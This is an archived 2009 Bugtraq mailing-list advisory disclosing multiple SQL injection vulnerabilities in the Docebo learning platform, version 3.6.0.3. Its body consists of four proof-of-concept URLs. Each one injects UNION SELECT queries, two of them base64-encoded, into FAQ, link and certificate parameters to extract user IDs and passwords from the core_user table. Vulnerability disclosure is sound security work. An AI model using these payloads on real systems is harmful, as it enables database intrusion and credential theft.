| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <900ea070910090725v6a6dd3bdvae0e3c722c364c7b@mail.gmail.com> Date: Fri, 9 Oct 2009 16:25:03 +0200 From: Andrea Fabrizi <andrea.fabrizi@...il.com> To: bugtraq@...urityfocus.com Subject: Docebo Multiple SQL-Injection Vulnerabilities ************************************************************** Application: Docebo Version affected: 3.6.0.3 Website: http://www.docebo.com Discovered By: Andrea Fabrizi Email: andrea.fabrizi@...il.com Web: http://www.andreafabrizi.it Vuln: Multiple SQL-Injection Vulnerabilities ************************************************************** ########## EXAMPLE 1 ########## roland@...720s:~$ echo -n "' union select userid,pass from core_user -- " | base64 JyB1bmlvbiBzZWxlY3QgdXNlcmlkLHBhc3MgZnJvbSBjb3JlX3VzZXIgLS0g -> http://localhost/docebo/doceboLms/index.php?modname=faq&op=play&mode=help&word=JyB1bmlvbiBzZWxlY3QgdXNlcmlkLHBhc3MgZnJvbSBjb3JlX3VzZXIgLS0g ############################### ########## EXAMPLE 2 ########## roland@...720s:~$ echo -n "' union select 1,userid,pass from core_user -- " | base64 JyB1bmlvbiBzZWxlY3QgMSx1c2VyaWQscGFzcyBmcm9tIGNvcmVfdXNlciAtLSA= -> http://localhost/docebo/doceboLms/index.php?modname=link&op=play&mode=keyw&word=JyB1bmlvbiBzZWxlY3QgMSx1c2VyaWQscGFzcyBmcm9tIGNvcmVfdXNlciAtLSA= ############################### ########## EXAMPLE 3 ########## -> http://localhost/docebo/doceboCore/index.php?modname=meta_certificate&op=elemmetacertificate&id_certificate=3222 union select concat (userid,0x3d,pass),2,3 from core_user limit 1,2 ############################### ########## EXAMPLE 4 ########## -> http://localhost/docebo/doceboCore/index.php?modname=certificate&op=elemcertificate&id_certificate=1123 union select concat(userid,0x3d,pass),2,3 from core_user limit 1,2 ############################### -- Andrea Fabrizi http://www.andreafabrizi.it
Powered by blists - more mailing lists